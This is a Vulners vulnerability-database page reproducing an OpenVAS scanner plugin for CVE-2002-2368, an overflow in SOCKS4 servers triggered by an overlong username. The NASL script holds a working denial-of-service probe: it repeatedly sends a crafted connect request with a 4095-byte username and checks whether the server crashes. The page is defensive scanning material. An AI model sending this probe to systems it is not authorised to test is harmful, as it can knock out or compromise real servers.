SOCKS4 Username Overflow DoS Vulnerability
🗓️ 03 Nov 2005 00:00:00Reported by Copyright (C) 2002 Michel ArboiType
openvas🔗 plugins.openvas.org👁 29 Views
| Reporter | Title | Published | Views | Family All 6 |
|---|---|---|---|---|
| CVE-2002-2368 | 31 Oct 200716:00 | – | cve | |
| CVE-2002-2368 | 31 Oct 200716:00 | – | cvelist | |
| EUVD-2002-2346 | 31 Oct 200716:00 | – | euvd | |
| CVE-2002-2368 | 31 Dec 200205:00 | – | nvd | |
| CVE-2002-2368 | 21 May 202520:39 | – | redhatcve | |
| NEC SOCKS4 Module Username Handling Remote Overflow | 25 Nov 200200:00 | – | nessus |
| Source | Link |
|---|---|
| securityfocus | www.securityfocus.com/bid/5147 |
# SPDX-FileCopyrightText: 2002 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.11164");
script_version("2023-07-21T05:05:22+0000");
script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_tag(name:"cvss_base", value:"10.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_cve_id("CVE-2002-2368");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/5147");
script_name("SOCKS4 Username Overflow DoS Vulnerability");
script_category(ACT_DENIAL);
script_copyright("Copyright (C) 2002 Michel Arboi");
script_family("Gain a shell remotely");
script_dependencies("socks.nasl");
script_require_ports("Services/socks4", 1080);
script_mandatory_keys("socks4/detected");
script_tag(name:"summary", value:"It was possible to kill the remote SOCKS4 server by
sending a request with a too long username.");
script_tag(name:"impact", value:"An attacker may exploit this vulnerability to make your SOCKS server
crash continually or even execute arbitrary code on your system.");
script_tag(name:"solution", value:"Upgrade your software.");
script_tag(name:"affected", value:"AN HTTPD is known to be affected. Other products might be
affected as well.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_analysis");
exit(0);
}
include("misc_func.inc");
include("port_service_func.inc");
port = service_get_port(default:1080, proto:"socks4");
soc = open_sock_tcp(port);
if(!soc)
exit(0);
nlen = 4095;
# Connect to 10.10.10.10 on port 8080 (= 31*256+4)
cnx = raw_string(4, 1, 4, 31, 10, 10, 10, 10) + crap(nlen) + raw_string(0);
for(i=0; i < 6; i++) {
send(socket:soc, data:cnx);
r = recv(socket:soc, length:8, timeout:1);
close(soc);
soc = open_sock_tcp(port);
if(!soc) {
security_message(port);
exit(0);
} else {
close(soc);
}
}
exit(99);
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
21 Jul 2023 00:00Current
6.8Medium risk
Vulners AI Score6.8
CVSS 210
EPSS0.06887